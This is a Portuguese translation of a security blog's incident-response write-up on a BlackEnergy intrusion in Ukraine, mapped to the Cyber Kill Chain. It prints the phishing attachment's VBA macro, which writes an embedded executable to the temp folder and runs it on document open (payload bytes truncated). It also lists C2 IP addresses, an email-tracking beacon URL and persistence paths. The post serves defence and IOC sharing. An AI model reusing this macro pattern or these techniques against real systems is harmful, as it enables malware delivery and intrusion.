DESMANTELANDO O BLACKENERGY, PARTE 3 – TODOS A BORDO!

[post-views]
Março 29, 2016 · 16 min de leitura
DESMANTELANDO O BLACKENERGY, PARTE 3 – TODOS A BORDO!

Abordagem  – the act of embarque um inimigo navio as parte of an ataque.

In today’s post, I will describe a part of investigation of one cyber security incident that has eventually evolved into a global investigation connected with an attack based on BlackEnergy that has hit a number of industries in Ukraine. As we progressed through investigation and performed a systematic retrospective analysis, we have mapped the attack to the Lockheed Martin’s Cyber Kill Chain methodology and thus I will refer to its structure during my story.

blackenergy-p3_2

PRÓLOGO

Aqui começa a história. Tenho que manter um certo nível de discrição, então os nomes dos usuários e dos servidores de infraestrutura estão mascarados e alterados. Datas e endereços IP externos, no entanto, não foram alterados e eu os compartilho do mesmo jeito que apareceram nos arquivos de log. Tínhamos o seguinte plano de ação: ao descobrir qualquer Indicador de Compromisso (IOC), cruzamos com os dados de log e, com base em descobertas adicionais, corrigimos nossos filtros e, então, lançamos outra busca. Passamos sistematicamente por gigabytes de logs e a visão geral começou a aparecer mais claramente para nós, que agora vou compartilhar com você neste artigo.

Na manhã de domingo, 25 de outubro, recebi uma ligação do nosso departamento de administração de TI com a mensagem de que os servidores controladores de domínio desligaram repentinamente durante a noite e nunca mais voltaram a funcionar. Quando nossa equipe chegou ao local, a primeira coisa que pedimos foram as imagens dos servidores “destruídos” (claro que tínhamos imagens virtuais). A análise inicial indicou claramente que ambos os servidores tiveram seu MBR sobrescrito. Conseguimos recuperar o MBR aplicando algum TestDisk mágico (https://en.wikipedia.org/wiki/TestDisk) e prosseguimos com a análise. As coisas ficaram mais interessantes. A maioria dos arquivos no disco estava preenchida com zeros, então todos pareciam os mesmos arquivos com o mesmo tamanho, mas dentro havia apenas zeros! Entre os arquivos que sobreviveram, alguns arquivos de log de eventos serviram como nosso ponto de partida para começar a mapear todos os eventos anômalos na linha do tempo. Descreverei os indicadores descobertos em ordem inversa, desde o momento em que o incidente ocorreu até o início (penetração).

CAPÍTULO 1. AÇÕES E OBJETIVOS DO ATAQUE

Enquanto trabalhávamos com dados de log dos controladores de domínio recuperados, recebemos outra ligação informando que outro servidor havia sido “infectado” com sintomas semelhantes, desta vez, no entanto, era um servidor de aplicação. Assim, também obtivemos uma imagem deste servidor:
blackenergy-p3_3Analisamos os eventos que ocorreram pouco antes do “crash” e os mapeamos na nossa linha do tempo:blackenergy-p3_4-1Deixe-me explicar um pouco sobre o que está exatamente exibido aqui. Uma área com borda azul marca os resultados das ações que testemunhamos como falhas no servidor. Pouco antes do desligamento, tentativas de logon não autorizadas de contas de administrador de domínio foram registradas. As ações realizadas incluem modificação do svchost.exe serviço e geração do serviço filho msDefenderSvc:

blackenergy-p3_5

blackenergy-p3_6

blackenergy-p3_7

blackenergy-p3_8

blackenergy-p3_9

https://www.virustotal.com/en/file/f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95/analysis/À esquerda, há outro evento de interesse que prova que a política global foi modificada:

blackenergy-p3_10

blackenergy-p3_11

Sem um chute difícil e observando o conteúdo do script, vemos que quando um usuário faz logon no seu PC, um arquivo chamado ololo.exe (que eu parcialmente reverti e descrevi aqui: https://socprime.com/en/blog/dismantling-killdisk-reverse-of-the-blackenergy-destructive-component/) será automaticamente baixado de um compartilhamento de rede.

Além disso, analisando os logs das estações de trabalho (adiantando um pouco, quero dizer que verificamos registros de mais de cem estações de trabalho) descobrimos a seguinte anomalia: um conjunto de eventos originados de usuários privilegiados que modificaram tarefas agendadas nos PCs dos usuários:

blackenergy-p3_12

Foi assim que o evento parecia nos logs do controlador de domínio:

blackenergy-p3_13

Além disso, foi assim que parecia no PC do usuário:

blackenergy-p3_14

Isso foi basicamente um “golpe mortal”, caso o controlador de domínio não conseguisse concluir sua tarefa e falhasse antes de poder enviar a política de grupo para as estações de trabalho. Como resultado, podemos mapear claramente essa parte do ataque para as “Ações em Objetivos” do modelo Kill Chain. Neste caso, o objetivo é destruir dados na quantidade máxima possível de PCs.

blackenergy-p3_15

CAPÍTULO 2. “INSTALAÇÃO E EXPLORAÇÃO” TAMBÉM CONHECIDO COMO IMPLANTANDO BLACKENERGY EXPLORANDO VULNERABILIDADES.

Então, o que aconteceu antes dos adversários obterem acesso aos servidores? Analisando os logs de eventos, descobrimos a seguinte sequência dos eventos:blackenergy-p3_16Descrição das etapas numeradas do ataque:

1 & 2 – acesso VPN não autorizado e acesso RDP imediato aos controladores de domínio

3 – instalação de VBoxDrv.sys (CVE-2008-3431) serviço. Este passo foi necessário para contornar o DSE (Aplicação de Assinatura de Driver é uma verificação obrigatória de assinaturas de drivers) sem uma reinicialização ( http://www.coresecurity.com/content/virtualbox-privilege-escalation-vulnerability ).

4 – já que o DSE foi neutralizado como parte do passo anterior, a instalação de drivers autoassinados adpu320.sys and amdide.sys não será mais um problema.

Ambos os arquivos .sys produzem o mesmo valor hash. Em 06.11.2015, apenas 2 soluções antivírus poderiam detectá-los, mas mesmo naquela época estava claro que estávamos lidando com BlackEnergy (ambos controladores de domínio tinham uma solução antivírus rodando, mas não era uma daquelas 2 AVs que poderia pegá-lo):blackenergy-p3_174 dias depois, 12 antivírus detectaram essas amostras.

blackenergy-p3_18

Assim, podemos concluir que esta fase do ataque pode ser mapeada com sucesso para as etapas do Cyber Kill Chain de “Instalação” e “Exploitation”.

blackenergy-p3_19

CAPÍTULO 3. “AÇÕES EM OBJETIVOS”, “RECONHECIMENTO”

É óbvio que as contas de administrador foram comprometidas e é razoável suspeitar que suas estações de trabalho também foram sujeitas a acesso não autorizado. Com base na análise dos logs de suas estações de trabalho (e de algumas centenas de outras estações de trabalho) foi descoberta uma atividade anômala relacionada ao uso da utilidade de gerenciamento remoto da suíte Sysinternals PsExec PsExec foi descoberto:

blackenergy-p3_20

A linha do tempo acima descreve um fragmento da atividade relacionada à coleta de dados das estações de trabalho.

E é assim que o evento se parece nos logs das estações de trabalho:

blackenergy-p3_21

Esta fase pode ser mapeada para o modelo Cyber Kill Chain novamente, correspondendo respectivamente ao “Reconhecimento” e “Ações em Objetivos” (os objetivos sendo a coleta de dados sobre infraestrutura e usuários). Também mapeei esta fase para “Reconhecimento”, já que há uma alta suspeita de que os adversários tenham coletado dados adicionais das estações de trabalho para avançar em seu ataque.

blackenergy-p3_22

CAPÍTULO 4. “COMANDO E CONTROLE (C2)”, COMUNICAÇÃO COM SERVIDORES BLACKENERGY

Realizamos uma análise paralela dos logs das estações de trabalho e firewall. Desde que ficou claro que BlackEnergy foi usado para nos atacar, usamos toda a pesquisa e artigos publicados sobre este assunto para checar nas comunicações com centros de comando conhecidos:blackenergy-p3_23Como visto nesta parte da linha do tempo, rastreamos o histórico do ataque até maio de 2015! 15.05.2015 é o dia em que ocorreu a primeira comunicação com um dos servidores de comando e controle conhecidos que também faz parte da rede Tor (5.149.254.114).

Infelizmente, uma estação de trabalho que realizou a comunicação com este centro de comando também continha um arquivo com senhas para vários perfis do YouTube e em 22.05.2015 essas contas foram sequestradas. O hacking foi conduzido de outros dois servidores 185.61.138.143 and 46.28.68.158 (novamente nós do Tor), endereços de email falsos e números de telefone de recuperação foram usados. Não houve qualquer dano particular causado pelo ataque e, na época, nem parecia um hack direcionado. As contas foram rapidamente recuperadas, uma autenticação de dois fatores foi adicionada, conclusões foram feitas, e o incidente foi mantido fechado até novembro de 2015 – o dia em que claramente se tornou uma peça de um quebra-cabeça maior!

Acredito que esta fase do ataque pode ser categorizada como “Comando & Controle (C2)”:

blackenergy-p3_24

CAPÍTULO 5. “ENTREGA” DOS MÓDULOS BLACKENERGY

blackenergy-p3_25

Recuperamos uma lista de todas as estações de trabalho que realizaram comunicação com os servidores de comando a partir dos logs do firewall e criamos um filtro com base nos endereços IP dessas estações de trabalho, esse filtro foi usado para procurar por toda a atividade que essas máquinas conduziram em todo o ano de 2015 com o objetivo de encontrar anomalias e padrões. Os padrões foram encontrados. Um elo comum (além de um número de servidores comuns como Google ou Facebook/VK/Twitter, etc.) parecia ser um único servidor com um IP de 176.53.127.194 (e novamente este é um nó Tor!):

blackenergy-p3_26

Em 23.04.2015, um dos funcionários recebeu um e-mail comum, que exibia alguns detalhes interessantes após um olhar mais atento (claro que durante o tempo da investigação, mais de meio ano após o e-mail ter sido aberto):blackenergy-p3_27
Primeiro, vamos olhar para os cabeçalhos do e-mail:

Recebido: de mx1-mail.com (mx1-mail.com [5.149.248.67]) Qui, 23 Abr 2015 09:43:45 +0300

Recebido: de webmail.rada.gov.ua (port=80 helo=webmail.rada.gov.ua)

por mx1-mail.com [5.149.248.67] com esmtp (envelope-from <info@rada.gov.ua>)

De: «info@rada.gov.ua» <info@rada.gov.ua>

Mail de retorno: info@rada.gov.ua

5.149.248.67 – um endereço IP já conhecido que foi usado para enviar e-mails semelhantes para outras organizações (https://cys-centrum.com/ru/news/black_energy_2_3).

Em relação ao anexo, um arquivo .xls contém a seguinte macro:

Privado a(864) Como Variante

Sub Privada Init0()

  a(1) = Array(77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 232, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0, 0, 0)

…..omitido……

    a(864) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0).

End Sub

 

Sub Privada MacroExpl()

    Dim fnum Como Inteiro

    Dim fname Como String

    Dim i Como Inteiro

    Dim j Como Inteiro

    Dim aa Como Byte

    Init0

    Init28

    fnum = FreeFile

    fname = Environ(“TMP”) & “vba_macro.exe

    Abrir fname Para Binário Como #fnum

    Para i = 1 Para 864

      Para j = 0 Para 127

            aa = a(i)(j)

            Put #fnum, , aa

        Next j

    Next i

    Close #fnum

    Dim rss

    rss = Shell(fname, 1)

End Sub

 

Private Sub Document_Open()

    MacroExpl

End Sub

By putting together all 864 elements of the array А, as an output we will receive vba_macro.exe, que é, de fato, um dropper BlackEnergy

https://www.virustotal.com/ru/file/ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525/analysis/1458721530/

https://www.hybrid-analysis.com/sample/ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525?environmentId=1O Dropper inicia uma conexão com um centro de comando já conhecido por nós:blackenergy-p3_28_1Em seguida, o malware recebe mais “instruções”, forma um arquivo chamado FONTCACHE.DAT, e o carrega usando rundll32.exe já que FONTCACHE.DAT é, de fato, uma variação de packet.dll – de volta do Hackers Encyclopedia 2002, desenvolvido pela Whirlwind Software para Windows OS:C:WINDOWSsystem32rundll32.exe C:WINDOWSsystem32rundll32.exe" "C:Documents and Settings<USER>Local SettingsApplication DataFONTCACHE.DAT"Então, ele escreve isso no Inicializar:C:Documents and Settings<USER>Start MenuProgramsStartup{22A16F66-CB92-4B66-8BDE-26B5CD34553F}.lnkAgora, vamos dar uma olhada mais detalhada na imagem de rodapé de e-mails que não conseguiu carregar:blackenergy-p3_28_2Um link para nossa “imagem” parece com isso:src=”http://176.53.127.194/bWFpbF9pdmFub3YuaXZhbkBkb21lbi51YQ==.pngApós alguma decodificação Base64, transforma-se em:src=”http://176.53.127.194/mail_ivanov.ivan@domen.ua.pngPortanto, este é um alerta para os adversários que confirma o fato de que Ivan Ivanov abriu com sucesso um e-mail e está pronto para “receber mais instruções”.

Quero mais uma vez sublinhar que houve apenas um e-mail em abril e tinha apenas um destinatário.

Agora vamos olhar para os e-mails que foram recebidos em julho (mala direta para mais de 2000 endereços). Um padrão comum é que todos os e-mails continham o mesmo “beacon” que relatava de volta para o mesmo IP (176.53.127.194) e identificou precisamente o destinatário. Então, isso não foi apenas uma campanha de spam, mas uma campanha direcionada, e a única parte que era diferente é a ausência do prefixo “mail_” na mensagem decodificada:

blackenergy-p3_29

O mesmo endereço IP no cabeçalho:

Received: from mx1-mail.com (mx1-mail.com [5.149.248.67]) por

Received: from webmail.rada.gov.ua (port=80 helo=webmail.rada.gov.ua)

by  mx1-mail.com [5.149.248.67] com esmtp (envelope-from  <pravyysektor@rada.gov.ua>)

De: “pravyysektor@rada.gov.ua” <pravyysektor@rada.gov.ua>

Data: Ter, 28 Jul 2015 09:08:38 +0200

Caminho de Retorno: pravyysektor@rada.gov.ua

Conteúdo da carta que mostra claramente nosso “beacon”:blackenergy-p3_29_1Apesar do fato de que a mala direta endereçou toda a empresa, obviamente, um spam e que e-mail com tal texto são proibidos de abrir, ainda assim alguns usuários abriram o e-mail, o que causou uma explosão de comunicação com um centro de comando e controle conhecido:blackenergy-p3_30Conforme observado na linha do tempo, a primeira comunicação baixou 28 863 bytes, a próxima já 359 276 bytes etc. As comunicações tinham clara sequência e clara estrutura:

blackenergy-p3_31

Não há dúvida em classificar esta fase do ataque como “Delivery”:

blackenergy-p3_32

Como podemos ver, o ataque tem todos os sinais de uma estrutura APT que pode ser descrita claramente usando a metodologia Cyber Kill Chain.

AVALIAÇÃO DAS CONSEQUÊNCIAS

Pelo lado negativo: os dados foram destruídos em dois controladores de domínio, um servidor de aplicação e um pouco mais de uma dúzia de PCs.Pelo lado positivo das coisas:  ganhamos um teste de penetração gratuito, experiência inestimável de investigação de APT real, criamos/ajustamos uma série de ferramentas que não só automatizam nosso trabalho com processamento de logs, mas também a análise de malware (mas estou me adiantando, este é um assunto para um outro artigo inteiro). A gerência obteve uma compreensão muito melhor sobre o propósito do InfoSec (inestimável!). Esta única demonstração de uma ameaça real e a investigação que se seguiu nos ajudou mais do que alertas anteriores ou ameaças hipotéticas. O trabalho em equipe minucioso com administradores de TI elevou nossa colaboração profissional para o próximo nível. Assim, considero estes eventos um verdadeiro treinamento de combate cibernético e as melhores lições para obter um entendimento real dos métodos e técnicas do adversário.

Concluindo, quero dizer que muitas coisas foram deixadas de fora do artigo e algumas partes ainda estão sendo estudadas detalhadamente.

Há dois objetivos que quero alcançar ao publicar esta investigação:

  1. Para mostrar que, por um lado, BlackEnergy não é um mega-monstro que pode ser lançado em um planeta inabitado e que pode meio ano depois construir sua própria base de operações que pode sustentar sua sobrevivência 🙂 Por outro lado, é uma ferramenta poderosa e especializada que pode, nas mãos de um especialista, causar um dano maciço à vítima do ataque.
  2. Para sublinhar que um ataque que aproveita o BlackEnergy é apenas um dos exemplos da evolução das tecnologias que são ativamente usadas por cibercriminosos. Estes não são simples ataques cibernéticos, estamos lidando com operações bem organizadas e precisamente planejadas, semelhantes às conduzidas por forças especiais militares (a imagem do artigo foi escolhida por essa associação).

Com base no exposto, podemos construir um dos cenários de uso de tal informação: por que alguém precisaria hackear um banco quando pode simplesmente comprar acesso a uma infraestrutura de qualquer empresa da cadeia de suprimentos, que possui uma conectividade VPN site-a-site constante e obter um acesso “oficialmente autorizado” (podemos nos referir ao desenho animado sobre um banco e um zelador: https://www.youtube.com/watch?v=fB2b-lTjCQA ).

Como de costume, ficaria grato a todos que checarem seus dados de log para os indicadores mencionados (IOC’s) após a leitura do artigo.

Nos artigos seguintes compartilharei alguns métodos que permitem detectar certos indicadores das atividades do adversário que foram descritas e permitem construir um conjunto de medidas organizacionais e técnicas voltadas a minimizar a probabilidade de tais incidentes ocorrerem em uma organização, ou pelo menos aumentar a probabilidade de sua rápida descoberta.

CRÉDITOS

Agradecimentos enormes aos meus colegas por seu entusiasmo, persistência e pelo trabalho bem feito. Quero expressar uma gratidão dedicada a Marina Krotofil e à equipe de Andrii Bezverkhyi por sua assistência na preparação da análise e do artigo. Agradecimentos adicionais vão para HPE , LanTec and SOC Prime pela ajuda material e técnica com hardware e software que foram fornecidos durante a investigação e combate ao ataque.

Traduzido do original por Andrii Bezverkhyi | CEO SOC Prime

Este artigo foi útil?

Curta e compartilhe com seus colegas.
Junte-se à plataforma Detection as Code da SOC Prime para melhorar a visibilidade das ameaças mais relevantes para o seu negócio. Para ajudá-lo a começar e obter valor imediato, agende uma reunião agora com os especialistas da SOC Prime.